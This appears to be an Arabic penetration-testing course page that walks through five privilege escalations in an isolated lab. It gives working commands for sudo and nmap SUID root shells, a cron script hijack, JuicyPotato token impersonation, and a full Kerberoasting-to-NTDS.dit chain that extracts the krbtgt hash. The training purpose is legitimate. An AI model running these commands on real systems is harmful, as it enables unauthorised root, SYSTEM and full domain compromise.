إنتقل إلى المحتوى الرئيسي

تصعيد الصلاحيات — عرض توضيحي موجَّه

خمسة تصعيدات من البداية إلى النهاية. ثلاثة على Linux (Metasploitable 2)، اثنان على Windows (Metasploitable 3 + مختبر AD صغير). في كل مرة: السياق، الأمر، الإثبات، التقرير.

مختبر معزول

جميع الأجهزة الافتراضية على شبكة host-only. لا يخرج أي أمر من المختبر.

ما ستتقنه بعد هذا الدرس​

  • تحديد واستغلال خمسة مسارات تصعيد مختلفة.
  • استخدام linpeas، winpeas، gtfobins، bloodhound بشكل نظيف.
  • كسر TGS من Kerberos باستخدام hashcat -m 13100.
  • استخراج بيانات الاعتماد من ذاكرة جهاز Windows.
  • كتابة محضر تصعيد قابل للاستخدام في تقرير.

الديكور​

الجهازالدورIP
Kaliالمهاجم10.10.10.5
Metasploitable 2 (Linux)هدف Linux، جلسة msfadmin مُحصَّلة10.10.10.20
Metasploitable 3 Winهدف Windows مستقل، جلسة vagrant مُحصَّلة10.10.10.12
DC AD labمتحكم الدومين acme.local10.10.10.100
WS01 AD labجهاز Windows منضم إلى الدومين، جلسة alice مُحصَّلة10.10.10.101

مختبر AD الصغير، نُنشئه بواسطة GOAD أو بواسطة Windows Server بسيط مع عميل Windows 10. سنعود إليه في الوحدة 10.


التصعيد 1 (Linux) — sudo vim بصيغة NOPASSWD​

لديك shell بحساب msfadmin على Metasploitable 2. السؤال 1:

sudo -l

المخرجات:

User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL

فرصة تعليمية ذهبية: يملك msfadmin كل صلاحيات sudo دون كلمة مرور. لا حاجة لـ vim:

sudo bash
whoami
# root

البطاقة:

## التصعيد 1 — sudo NOPASSWD ALL (Metasploitable 2)
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار: sudo -l يظهر "NOPASSWD: ALL" → sudo bash
- الأثر: اختراق كامل للجهاز
- التوصية: حذف سطر sudoers، تحديد أوامر دقيقة

التصعيد 2 (Linux) — SUID على nmap​

لنحاكِ سيناريو أكثر دقة. على جهاز افتراضي آخر، msfadmin لا يملك sudo. لديه nmap بصلاحية SUID:

find / -perm -4000 -type f 2>/dev/null | head

المخرجات:

/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd

/usr/bin/nmap بصلاحية SUID root أمر غير طبيعي. نستشير GTFOBins → في إصدارات nmap القديمة، الوضع التفاعلي:

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

root عبر nmap. البطاقة:

## التصعيد 2 — SUID على /usr/bin/nmap (الوضع التفاعلي)
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار: nmap --interactive → !sh → shell بصلاحية root
- الأثر: اختراق كامل
- التوصية: إزالة SUID (chmod u-s /usr/bin/nmap)، استخدام capabilities
مستهدَفة إذا كان لا بد أن يعمل nmap دون صلاحيات

التصعيد 3 (Linux) — Cron بمسار نسبي​

لننشئ سيناريو بشكل متعمَّد. بصفة root على الجهاز الافتراضي، مرة واحدة:

# بصفة root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- خطأ متعمَّد

# ملف Cron
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup

بصفة msfadmin، نلاحظ:

ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh

السكربت مكتوب بواسطة msfadmin، ويُنفَّذ بواسطة root كل دقيقة. نستغله:

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

الانتظار دقيقة واحدة:

sleep 65
/tmp/rootbash -p
whoami
# root

البطاقة:

## التصعيد 3 — Cron بسكربت قابل للكتابة من طرف المستخدم
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار:
1. cat /etc/cron.d/backup → سكربت يُنفَّذ بواسطة root
2. ls -la /usr/local/bin/backup.sh → مملوك من طرف msfadmin
3. استبدال السكربت بحمولة SUID
4. بعد دقيقة: /tmp/rootbash -p → shell بصلاحية root
- الأثر: اختراق كامل للجهاز، مع إمكانية استمرارية
- التوصية: chown root:root لكل السكربتات في cron الخاص بـ root

التصعيد 4 (Windows) — WinPEAS وانتحال token​

على Metasploitable 3 Windows، لديك جلسة vagrant عبر Meterpreter:

meterpreter > getuid
Server username: METASPLOITABLE3\vagrant

meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

SeImpersonatePrivilege تعني إمكانية سرقة token. هذا حساب خدمة أو مستخدم أُعِد ضبطه تاريخيًا بشكل سيئ.

استخدام PrintSpoofer أو JuicyPotato للانتقال إلى SYSTEM:

meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant

C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system

[+] CreateProcessWithTokenW OK

على أنظمة Windows 10/11 الحديثة، يُستخدم PrintSpoofer أو RoguePotato حسب الإصدار.

البطاقة:

## التصعيد 4 — انتحال token عبر SeImpersonatePrivilege
- الحساب الأولي: METASPLOITABLE3\vagrant
- الحساب النهائي: NT AUTHORITY\SYSTEM
- المسار:
1. getprivs يكشف SeImpersonatePrivilege
2. الاستغلال باستخدام JuicyPotato/PrintSpoofer
3. shell بصلاحية SYSTEM
- الأثر: تحكم كامل في النظام، إمكانية استخراج hashes
- التوصية: تقليل حسابات الخدمة الحاملة لـ SeImpersonate،
مراقبة إنشاء الـ tokens عبر WMI

التصعيد 5 (AD) — Kerberoasting من البداية إلى النهاية​

لديك جلسة alice على WS01، جهاز منضم إلى الدومين acme.local. الهدف: الانتقال إلى Domain Admin.

5أ. سرد SPN​

من Kali، باستخدام Impacket:

impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt

المخرجات:

ServicePrincipalName        Name        MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local

[*] Tickets writtes to preuves/tgs-tickets.txt

حسابا خدمة اثنان بـ SPN. تذكرتا Kerberos تم الحصول عليهما.

مقتطف من الملف:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...

5ب. الكسر بواسطة hashcat​

hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

بعد بضع دقائق:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!

كلمة مرور حساب خدمة SQL في 3 دقائق.

5ج. الانتقال​

بواسطة كلمة المرور، نتصل:

impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local

shell بصلاحية SYSTEM على sqlserver.acme.local.

على هذا الخادم، Meterpreter → جامع BloodHound → نرى:

  • svc_sql عضو في Backup Operators.
  • Backup Operators يمكنها قراءة أي ملف نظام، بما في ذلك NTDS.dit على DC.

المسار النهائي:

# من خادم SQL، نستخدم ntdsutil لنسخ NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q

# نُعيد الملف عبر SMB، ونستخرج بواسطة impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

المخرجات:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::

hash الخاص بـ krbtgt = القدرة على صنع Golden Ticket = وصول دائم إلى الدومين.

5د. البطاقة​

## التصعيد 5 — Kerberoasting → Backup Operators → NTDS.dit
- الحساب الأولي: ACME\alice (مستخدم عادي)
- الحساب النهائي: اختراق كامل (hash الخاص بـ krbtgt)
- المسار:
1. impacket-GetUserSPNs → حسابا خدمة بـ SPN
2. hashcat -m 13100 → كلمة مرور svc_sql مكسورة
3. psexec على خادم SQL → SYSTEM محلي
4. BloodHound يكشف أن svc_sql ∈ Backup Operators
5. ntdsutil IFM على DC → NTDS.dit + خلية SYSTEM
6. secretsdump → استخراج hash الخاص بـ krbtgt
- الأثر: اختراق كامل للدومين، إمكانية Golden Ticket
- التوصيات:
1. كلمة مرور svc_sql تفوق 25 خانة (تقاوم الكسر)
2. إزالة svc_sql من مجموعة Backup Operators
3. مراجعة جميع الحسابات ذات SPN، إطالة كلمات مرورها
4. الانتقال إلى MSA (Managed Service Accounts) التي تُدوَّر تلقائيًا

الخطوة 6 — BloodHound كدعم​

يُظهر BloodHound مسارات مثل مسار التصعيد 5. من Kali:

# جامع البيانات من WS01 ببيانات اعتماد alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound

# الاستيراد إلى Neo4j
neo4j start
bloodhound
# اسحب وأفلت ملفات .json في الواجهة

استعلام جاهز: Shortest Paths to Domain Admins from Owned.

نرى المسار alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin في رسم بياني واحد. هذا ما يُعرَض على العميل. أقوى بكثير من قائمة أوامر.


الخطوة 7 — الجدول التلخيصي​

| # | الهدف          | البداية    | الوصول    | المسار                           | الإثبات                     |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID على nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron سكربت قابل للكتابة | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | اختراق كامل| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |

الحصيلة​

في 90 دقيقة:

  • خمسة تصعيدات مختلفة، خمسة مسارات مختلفة.
  • خمسة إثباتات في مجلد واحد.
  • رسم بياني BloodHound يجعل اكتشاف AD مرئيًا.
  • hash خاص بـ krbtgt — ما يكفي للبقاء رغم كل العلاجات الجزئية.

هذا ما يدفع العميل ثمنه. ليس الفحوصات. ليست CVE. المسارات.

الدرس القادم: دورك أنت. ثلاثة تصعيدات، ثلاثة مسارات، ثلاث بطاقات.